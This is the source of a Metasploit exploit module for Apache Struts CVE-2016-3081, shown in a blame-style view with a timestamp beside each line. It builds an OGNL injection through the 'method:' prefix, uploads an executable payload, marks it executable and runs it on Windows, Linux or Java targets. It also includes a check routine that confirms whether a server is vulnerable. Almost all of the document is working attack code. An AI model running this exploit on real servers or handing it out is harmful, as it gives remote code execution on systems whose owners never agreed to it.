2016-04-29 02:49:56 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::EXE
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2016-04-29 16:03:15 +00:00
|
|
|
'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution',
|
2016-04-29 02:49:56 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a remote command execution vulnerability in Apache Struts
|
|
|
|
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
|
|
|
|
Execution can be performed via method: prefix when Dynamic Method Invocation
|
|
|
|
is enabled.
|
|
|
|
},
|
2016-04-30 15:56:56 +00:00
|
|
|
'Author' => [
|
|
|
|
'Nixawk', # original metasploit module
|
|
|
|
'rungobier' # improved metasploit module
|
|
|
|
],
|
2016-04-29 02:49:56 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2016-3081' ],
|
|
|
|
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ]
|
|
|
|
],
|
2016-04-30 15:56:56 +00:00
|
|
|
'Platform' => %w{ java linux win },
|
2016-04-29 02:49:56 +00:00
|
|
|
'Privileged' => true,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2016-04-30 15:56:56 +00:00
|
|
|
['Windows Universal',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'win'
|
|
|
|
}
|
|
|
|
],
|
2016-04-29 02:49:56 +00:00
|
|
|
['Linux Universal',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'linux'
|
|
|
|
}
|
2016-04-30 15:56:56 +00:00
|
|
|
],
|
|
|
|
[ 'Java Universal',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
'Platform' => 'java'
|
|
|
|
},
|
2016-04-29 02:49:56 +00:00
|
|
|
]
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Apr 27 2016',
|
2016-04-30 15:56:56 +00:00
|
|
|
'DefaultTarget' => 2))
|
2016-04-29 02:49:56 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8080),
|
2016-04-30 15:56:56 +00:00
|
|
|
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-blank/example/HelloWorld.action']),
|
2016-04-29 16:13:25 +00:00
|
|
|
OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
|
2016-04-29 02:49:56 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
2016-04-29 16:13:25 +00:00
|
|
|
def print_status(msg='')
|
|
|
|
super("#{peer} - #{msg}")
|
|
|
|
end
|
|
|
|
|
2016-05-02 20:03:25 +00:00
|
|
|
def get_target_platform
|
|
|
|
target.platform.platforms.first
|
|
|
|
end
|
|
|
|
|
2016-04-29 02:49:56 +00:00
|
|
|
def temp_path
|
2016-04-29 16:13:25 +00:00
|
|
|
@TMPPATH ||= lambda {
|
|
|
|
path = datastore['TMPPATH']
|
2016-04-29 16:03:15 +00:00
|
|
|
return nil unless path
|
2016-05-02 20:03:25 +00:00
|
|
|
|
|
|
|
case get_target_platform
|
|
|
|
when Msf::Module::Platform::Windows
|
|
|
|
slash = '\\'
|
|
|
|
when
|
|
|
|
slash = '/'
|
|
|
|
else
|
|
|
|
end
|
|
|
|
|
2016-04-29 16:03:15 +00:00
|
|
|
unless path.end_with?('/')
|
|
|
|
path << '/'
|
|
|
|
end
|
|
|
|
return path
|
|
|
|
}.call
|
2016-04-29 02:49:56 +00:00
|
|
|
end
|
|
|
|
|
2016-04-30 15:56:56 +00:00
|
|
|
def send_http_request(payload, params_hash)
|
|
|
|
uri = normalize_uri(datastore['TARGETURI'])
|
|
|
|
uri = "#{uri}?#{payload}"
|
|
|
|
resp = send_request_cgi(
|
|
|
|
'uri' => uri,
|
|
|
|
'version' => '1.1',
|
|
|
|
'method' => 'POST',
|
|
|
|
'vars_post' => params_hash
|
|
|
|
)
|
|
|
|
if resp && resp.code == 404
|
|
|
|
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
|
|
|
|
end
|
|
|
|
resp
|
|
|
|
end
|
2016-04-29 02:49:56 +00:00
|
|
|
|
2016-04-30 15:56:56 +00:00
|
|
|
def generate_rce_payload(code)
|
|
|
|
payload = "method:"
|
|
|
|
payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
|
|
|
|
payload << ","
|
|
|
|
payload << Rex::Text.uri_encode(code)
|
|
|
|
payload << ","
|
|
|
|
payload << Rex::Text.uri_encode("1?#xx:#request.toString")
|
|
|
|
payload
|
2016-04-29 02:49:56 +00:00
|
|
|
end
|
|
|
|
|
2016-04-30 15:56:56 +00:00
|
|
|
def upload_exec(cmd, filename, content)
|
2016-04-29 02:49:56 +00:00
|
|
|
var_a = rand_text_alpha_lower(4)
|
|
|
|
var_b = rand_text_alpha_lower(4)
|
|
|
|
var_c = rand_text_alpha_lower(4)
|
|
|
|
var_d = rand_text_alpha_lower(4)
|
|
|
|
var_e = rand_text_alpha_lower(4)
|
|
|
|
var_f = rand_text_alpha_lower(4)
|
|
|
|
|
2016-04-30 15:56:56 +00:00
|
|
|
code = "##{var_a}=new sun.misc.BASE64Decoder(),"
|
|
|
|
code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),"
|
|
|
|
code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close(),"
|
|
|
|
code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true),"
|
|
|
|
code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))"
|
|
|
|
payload = generate_rce_payload(code)
|
|
|
|
|
|
|
|
params_hash = {
|
|
|
|
var_d => Rex::Text.encode_base64(cmd),
|
|
|
|
var_e => Rex::Text.encode_base64(filename),
|
|
|
|
var_f => content
|
|
|
|
}
|
|
|
|
send_http_request(payload, params_hash)
|
2016-04-29 02:49:56 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
var_a = rand_text_alpha_lower(4)
|
|
|
|
var_b = rand_text_alpha_lower(4)
|
|
|
|
|
|
|
|
addend_one = rand_text_numeric(rand(3) + 1).to_i
|
|
|
|
addend_two = rand_text_numeric(rand(3) + 1).to_i
|
|
|
|
sum = addend_one + addend_two
|
|
|
|
flag = Rex::Text.rand_text_alpha(5)
|
|
|
|
|
|
|
|
code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
|
|
|
|
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
|
|
|
|
code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
|
|
|
|
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
|
|
|
|
code << "##{var_a}.close()"
|
|
|
|
|
2016-04-30 15:56:56 +00:00
|
|
|
payload = generate_rce_payload(code)
|
2016-04-29 02:49:56 +00:00
|
|
|
params_hash = { var_b => flag }
|
|
|
|
|
2016-04-29 16:13:25 +00:00
|
|
|
begin
|
2016-04-30 15:56:56 +00:00
|
|
|
resp = send_http_request(payload, params_hash)
|
2016-04-29 16:13:25 +00:00
|
|
|
rescue Msf::Exploit::Failed
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
2016-04-29 02:49:56 +00:00
|
|
|
|
|
|
|
if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
|
2016-04-29 16:13:25 +00:00
|
|
|
Exploit::CheckCode::Vulnerable
|
2016-04-29 02:49:56 +00:00
|
|
|
else
|
|
|
|
Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2016-04-30 15:56:56 +00:00
|
|
|
def exploit
|
|
|
|
payload_exe = rand_text_alphanumeric(4 + rand(4))
|
|
|
|
case target['Platform']
|
|
|
|
when 'java'
|
|
|
|
payload_exe = "#{temp_path}#{payload_exe}.jar"
|
|
|
|
pl_exe = payload.encoded_jar.pack
|
|
|
|
command = "java -jar #{payload_exe}"
|
|
|
|
when 'linux'
|
|
|
|
path = datastore['TMPPATH'] || '/tmp/'
|
|
|
|
pl_exe = generate_payload_exe
|
|
|
|
payload_exe = "#{path}#{payload_exe}"
|
|
|
|
command = "/bin/sh -c #{payload_exe}"
|
|
|
|
when 'win'
|
|
|
|
path = temp_path || '.\\'
|
|
|
|
pl_exe = generate_payload_exe
|
|
|
|
payload_exe = "#{path}#{payload_exe}.exe"
|
|
|
|
command = "cmd.exe /c #{payload_exe}"
|
|
|
|
else
|
|
|
|
fail_with(Failure::NoTarget, 'Unsupported target platform!')
|
|
|
|
end
|
|
|
|
|
|
|
|
pl_content = pl_exe.unpack('H*').join()
|
|
|
|
|
|
|
|
print_status("Uploading exploit to #{payload_exe}, and executing it.")
|
|
|
|
upload_exec(command, payload_exe, pl_content)
|
|
|
|
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
|
2016-04-29 02:49:56 +00:00
|
|
|
end
|